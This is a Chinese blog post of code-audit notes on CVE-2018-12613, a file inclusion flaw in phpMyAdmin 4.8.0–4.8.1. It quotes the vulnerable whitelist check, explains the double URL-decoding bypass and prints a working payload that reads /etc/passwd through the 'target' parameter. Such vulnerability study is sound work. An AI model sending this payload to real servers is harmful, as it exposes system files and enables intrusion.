当前位置:网站首页>一次代码审计的笔记(CVE-2018-12613 phpmyadmin文件包含漏洞)
一次代码审计的笔记(CVE-2018-12613 phpmyadmin文件包含漏洞)
2022-08-02 03:25:00 【学安全的汤姆猫】
前言
看了一下上次写博客都是20天前的事了,最近要打工去了,学习的少了很多,前两天玩了一下vulhub靶场的phpmyadmin文件包含漏洞(CVE-2018-12613)但是有些不理解,通过抽出时间的百度和理解,写一下笔记,别到时候忘记了
漏洞描述
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,
以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:
$ cfg [‘AllowArbitraryServer’] =
true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码; $ cfg [‘ServerDefault’]
= 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
漏洞影响范围
phpMyAdmin 4.8.0和4.8.1
漏洞分析
查看index.php的50行到63行内容
target_blacklist = array (
'import.php', 'export.php'
); #定义了一个黑名单
// If we have a valid target, let's load that script instead if (! empty($_REQUEST['target']) #要求target不为空 && is_string($_REQUEST['target']) #要求target为字符串 && ! preg_match('/^index/', $_REQUEST['target']) #要求target不已index开头 && ! in_array($_REQUEST['target'], $target_blacklist) #要求target不存在黑名单中 && Core::checkPageValidity($_REQUEST['target']) #checkPageValidity要为真 ) { include $_REQUEST['target']; #以上五个条件达成即可包含文件
exit;
}
前四个条件是很容易达成的,就是第五个条件麻烦了点
查看Coer.php的443行到476行
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist; #初始化白名单
}
if (! isset($page) || !is_string($page)) {
return false; #判断出入的参数为空或者不为字符串则返回false
}
if (in_array($page, $whitelist)) {
return true; #判断传入的参数存在白名单内,则返回true
}
#如果这里返回false就执行以下代码
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') #截取传入参数开始到?中间的字符串
);
if (in_array($_page, $whitelist)) {
return true; #再次进行判断存在白名单内就返回true
}
#如果这里还返回了false就执行以下代码
$_page = urldecode($page); #这个漏洞主要的触发就在这里,这里进行了一次url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?') #截取传入参数开始到?中间的字符串
);
if (in_array($_page, $whitelist)) {
return true; #判断传入的参数存在白名单内,则返回true
}
#如果这里返回false就直接返回false
return false;
}
白名单在core.php的31行到79行
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
playload:index.php?target=sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd
解释:target=sql.php%253f 在服务器收到url时进行一次解码,变成?target=sql.php%3f ;再通过urldecode时,在进行一次url解码,变成?target=sql.php?,符合?之前的在白名单中。所以就绕过了checkPageValidity()方法。
总结
这里虽然说进行了过滤判断,但是他对我们最先传入的值一直没有改变,所以造成任意文件包含的漏洞的发生。
以上就是我对这个漏洞的理解,如有不对之处,也请大家指出
说一下自己的问题,虽然是写出了笔记,但是在代码审计过程中,还是有很多函数是不懂的,接下来得来学习php和java以便日后做代码审计,这也是我第一个代码审计的文章,没写清楚和不对之处就请大家之处了!
边栏推荐
- hackmyvm: again walkthrough
- JS对象, 函数和作用域
- Phonebook
- 解决uni-app 打包H5网站 下载图片问题
- (7) superficial "crawlers" process (concept + practice)
- (3) Thinkphp6 database
- hackmyvm-random walkthrough
- SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
- web渗透必玩的靶场——DVWA靶场 1(centos8.2+phpstudy安装环境)
- Praying: 1 vulnhub walkthrough
猜你喜欢
Kali install IDEA
PHP基金会三月新闻公告发布
Praying: 1 vulnhub walkthrough
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
Shuriken: 1 vulnhub walkthrough
hackmyvm-hopper walkthrough
12.什么是JS
(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
Orasi: 1 vulnhub walkthrough
(5) 模块与包、编码格式、文件操作、目录操作
随机推荐
[phpunit/php-timer] A timer for code execution time
1. Beginning with PHP
Eric靶机渗透测试通关全教程
Solve the problem of uni - app packaged H5 website to download image
(7) 浅学 “爬虫” 过程 (概念+练习)
What are the PHP framework?
IO流、字节流、字节缓冲流
Multithreading (implementing multithreading, thread synchronization, producer and consumer)
2. PHP variables, output, EOF, conditional statements
php函数漏洞总结
MOMENTUM: 2 vulnhub walkthrough
(4) Function, Bug, Class and Object, Encapsulation, Inheritance, Polymorphism, Copy
Baidu positioning js API
IP门禁:手把手教你用PHP实现一个IP防火墙
Dom实现input的焦点触发
TCP通信程序
3. PHP data types, constants, strings and operators
PHP realizes the automatic reverse search prompt of the search box
GreenOptic: 1 vulnhub walkthrough
[sebastian/diff] A historical change extension library for comparing two texts